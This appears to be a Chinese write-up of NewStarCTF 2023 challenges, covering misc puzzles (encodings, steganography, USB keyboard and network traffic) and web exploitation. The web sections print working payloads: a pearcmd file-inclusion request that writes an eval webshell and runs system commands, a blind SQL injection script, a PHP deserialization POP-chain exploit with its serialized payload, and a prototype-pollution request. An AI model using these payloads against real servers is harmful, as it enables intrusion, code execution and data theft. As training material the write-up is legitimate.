目录
一、阳光开朗大男孩
二、大怨种
三、2-分析
四、键盘侠
五、滴滴滴
六、Include?
七、medium_sql
八、POP Gadget
九、OtenkiGirl
1.题目给出了secret.txt和flag.txt两个文件,secret.txt内容如下:
法治自由公正爱国公正敬业法治和谐平等友善敬业法治富强公正民主法治和谐法治和谐法治法治公正友善敬业法治文明公正自由平等诚信平等公正敬业法治和谐平等友善敬业法治和谐和谐富强和谐富强和谐富强平等友善敬业公正爱国和谐自由法治文明公正自由平等友善敬业法治富强和谐自由法治和谐法治和谐法治和谐法治法治和谐富强法治文明公正自由公正自由公正自由公正自由
在 http://www.atoolbox.net/Tool.php?Id=850 进行社会主义核心价值观解密后可以得到:
this_password_is_s000_h4rd_p4sssw0rdddd
得到一个Key,结合flag.txt中的emoji表情可以推断出flag.txt使用了emoji-AES加密。
在 https://aghorler.github.io/emoji-aes/ 进行emoji-AES解密,key为s000_h4rd_p4sssw0rdddd,得到Flag:
1.题目给出gif图片,编写一个脚本提取出gif的每一帧图片:
from PIL import Image
import os
def extract_frames(gif_path, output_dir):
gif = Image.open(gif_path)
os.makedirs(output_dir, exist_ok=True)
try:
while True:
current_frame = gif.tell()
output_path = os.path.join(output_dir, f"frame_{current_frame}.png") gif.save(output_path, "PNG")
gif.seek(current_frame + 1)
except EOFError:
pass
print("提取完成!")
gif_path = "1.gif"
output_dir = "./res/"
extract_frames(gif_path, output_dir)
其中有一帧图像是这样的:
是汉信码,可以在 https://tuzim.net/hxdecode/ 在线扫描,扫描后得到Flag:
题目描述如下:
1.Flag由三个信息构成:登录用户名、存在漏洞的文件名、写入的WebShell文件名。
根据我们的常识,一般登录请求都是POST方式的请求,因此可以先过滤出所有的POST请求:
http && http.request.method == POST
可以看到有一个发送给/api/action/login.php的POST请求中有username和password字段:
由此推断出登录的用户名为best_admin。
2.其次是存在漏洞的文件名和WebShell文件名,可以看到有大量的目录扫描流量,先使用WireShark过滤器过滤掉响应状态码为404的响应:
http && http.response.code != 404
对剩下的流量进行分析,关注到1267号流量响应比较奇怪:
很明显存在WebShell,追踪该流。
由此可以得到剩下的两个信息,index.php文件的page参数存在任意文件包含漏洞,攻击者通过这个漏洞包含pearcmd.php向服务器中写入了名为wh1t3g0d.php的WebShell。
而后续的流量也可以看到攻击者是利用wh1t3g0d.php这个Shell执行了一些系统命令:
由此得到Flag明文:best_admin_index.php_wh1t3g0d.php
整体md5后包裹flag{}得到最终flag:flag{4069afd7089f7363198d899385ad688b}
1.打开题目发现是USB流量,结合题目名猜测是键盘流量,使用WireShark过滤器过滤出所有的键盘流量,然后导出保存为res.pcapng:
usb.src =="1.15.1"
使用tshark命令对流量数据进行提取并去除空行:
tshark -r res.pcapng -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt
导出后使用以下脚本进行按键信息提取:
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"","29":"","2a":"", "2b":"t","2c":"","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"","33":";","34":"'","35":"","36":",","37":".","38":"/","39":"","3a":"","3b":"", "3c":"","3d":"","3e":"","3f":"","40":"","41":"","42":"","43":"","44":"","45":""}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"","29":"","2a":"", "2b":"t","2c":"","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"","33":"\"","34":":","35":"","36":"<","37":">","38":"?","39":"","3a":"","3b":"", "3c":"","3d":"","3e":"","3f":"","40":"","41":"","42":"","43":"","44":"","45":""}
nums = []
keys = open('usbdata.txt')
for line in keys:
if len(line)!=17:
continue
nums.append(line[0:2]+line[4:6])
keys.close()
output = ""
for n in nums:
if n[2:4] == "00" :
continue
if n[2:4] in normalKeys:
if n[0:2]=="02":
output += shiftKeys [n[2:4]]
else :
output += normalKeys [n[2:4]]
else:
output += '[unknown]'
print('output :n' + output)
得到如下结果:
nw3lc0m3tonewstarctf2023flagisherevvvvbaaaasffjjwwwwrrissgggjjaaasdddduuwwwwwwwwiiihhddddddgggjjjjjaa11123338888882hhxgbffffbbbnnatfflllaaagggg{999999119aaaeb2---a450---2f5f--7bfc[unknown][unknown][unknown]-8989dfdf4bfa4bfa85848584}}}}]nicework!1yyoouggottthhisfllag
\表示删除,\
flag{9919aeb2-a450-2f5f-7bfc-89df4bfa8584}
1.题目给出一个wav文件和一个jpg文件,其中wav文件听起来像是拨号音,利用dtmf2num工具进行拨号音识别:
得到拨号音的内容为:
52563319066
结合题目简介的提示,这串数字应该是某处使用的密码,因此可以尝试steghide工具来对jpg图片进行隐写内容提取:
得到一个txt文件,打开即是Flag:
1.页面源代码如下。
题目过滤了常见的伪协议和日志文件,提示 Something in phpinfo.php!,所以先去访问phpinfo.php,payload如下:
?file=phpinfo
查找flag,发现fake{Check_register_argc_argv}。
查找register_argc_argv,发现为on。
结合标题?(pear),提示以及register_argc_argv为on,知道是要利用pearcmd文件包含达成rce。
payload:
?+config-create+/&file=/usr/local/lib/php/pearcmd&/=@eval($_REQUEST[8]);?>+/tmp/cmd.php
然后访问包含一句话木马的cmd.php文件,执行远程命令。
?file=/tmp/cmd&8=system("ls+/");
?file=/tmp/cmd&8=system("cat+/flag");
1.根据题目可以判断是sql注入,先按照常规的测试方法,判断出是个布尔盲注。
?id=TMP0919' And if(1>0,1,0) --+
?id=TMP0919' And if(0>1,1,0) --+
发第一个,有回显,第二个,没回显,说明页面可以根据if判断的结果回显两种(真假)内容,因此是布尔盲注。
2.编写盲注脚本,用二分查找。
import requests
import time
def condition(res):
if 'Physics' in res.text:
return True
return False
result = ''
_url = 'xxxxx'
for _time in range(1, 1000):
print("time:%d" % _time)
left = 32
right = 128
while right > left:
mid = (left + right) // 2
# 获取当前库表名
# url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(table_name))fRom(infOrmation_schema.tables)whEre((tAble_schema) In (dAtabase()))) fRom {_time} FOr 1))))In({mid})),1,0)%23"
# 获取字段名
# url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(column_name))fRom(infOrmation_schema.columns)whEre((tAble_name) In ('here_is_flag'))) fRom {_time} FOr 1))))In({mid})),1,0)%23"
# 获取字段值
url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(flag)fRom(here_is_flag)) fRom {_time} FOr 1))))In({mid})),1,0)%23"
# 防止请求速率过快
time.sleep(0.2)
res = requests.get(url=url)
if condition(res):
result += chr(mid)
print(result)
break
else:
# 获取当前库表名
# url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(table_name))fRom(infOrmation_schema.tables)whEre((tAble_schema) In (dAtabase()))) fRom {_time} FOr 1))))>({mid})),1,0)%23"
# 获取字段名
# url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(column_name))fRom(infOrmation_schema.columns)whEre((tAble_name) In ('here_is_flag'))) fRom {_time} FOr 1))))>({mid})),1,0)%23"
# 获取字段值
url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(flag)fRom(here_is_flag)) fRom {_time} FOr 1))))>({mid})),1,0)%23"
res = requests.get(url=url)
if (condition(res)):
left = mid
else:
right = mid
1.源代码如下。
name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}
class Then{
private $func;
public function __toString()
{
($this->func)();
return "Good Job!";
}
}
class Handle{
protected $obj;
public function __call($func, $vars)
{
$this->obj->end();
}
}
class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}
public function end()
{
die("==GAME OVER==");
}
}
class CTF{
public $handle;
public function end()
{
unset($this->handle->log);
}
}
class WhiteGod{
public $func;
public $var;
public function __unset($var)
{
($this->func)($this->var);
}
}
@unserialize($_POST['pop']);
2.题目主要考察POP链构造,整个链子比较简单。从Begin的__destruct析构函数作为起点开始,构造POP链触发到WhiteGod的__unset方法,__unset方法中存在一个函数的动态调用,可以实现RCE。
POP Gadget如下:
Begin::__destruct -> Then::__toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset
编写Exp如下:
name = $a;
}
}
class Then {
private $func;
public function __construct($a) {
$this->func= $a;
}
}
class Handle {
protected $obj;
public function __construct($a) {
$this->obj = $a;
}
}
class Super {
protected $obj;
public function __construct($a) {
$this->obj = $a;
}
}
class CTF {
public $handle;
public function __construct($a) {
$this->handle = $a;
}
}
class WhiteGod {
public $func;
public $var;
public function __construct($a, $b) {
$this->func = $a;
$this->var = $b;
}
}
// POP Gadget:
// Begin::__destruct -> Then::toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset
$obj = new Begin(new Then(new Super(new Handle(new CTF(new WhiteGod("readfile","/flag"))))));
echo urlencode(serialize($obj));
需要注意的是一些类中有保护或私有属性的成员,因此需要对序列化数据进行URL编码,得到:
O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A10%3A%22%00Then%00func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A8%3A%22readfile%22%3Bs%3A3%3A%22var%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7D%7D%7D%7D
1.随便提交一些信息,通过抓包或者直接查看附件的源码都能发现下面两个请求地址:
第一个:获取全部信息(可以改变0的值就是获取到指定时间戳之后的信息)
第二个:提交信息
提交信息必须为 JSON 格式contact和reason字段是必须的,例如
POST /submit HTTP/1.1
Content-Type: application/json
{ "contact": "test", "reason": "test"}
查看routes/info.js源码,考察从数据库中获取数据的函数getInfo
其中第4行和第5行将我们传入的timestamp
做了一个过滤,使得所返回的数据不早于配置文件中的min_public_time
查看根目录下的config.js
和config.default.js
后发现config.js
并没有配置min_public_time
,因此getInfo
的第5行只是采用了DEFAULT_CONFIG.min_public_time
考虑原型链污染污染min_public_time
为我们想要的日期,就能绕过最早时间限制,获取任意时间的数据
查看routes/submit.js
源码,发现注入点
其中merge
函数第7行存在原型链污染,因此只要考虑注入data['__proto__']['min_public_time']
的值即可
于是构造payload
POST /submit HTTP/1.1
Content-Type: application/json
{ "contact": "test", "reason": "test", "__proto__": { "min_public_time": "1001-01-01" }}
然后为我们再请求/info/0
,就能得到更多的数据,得到flag。
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
没看够~?欢迎关注!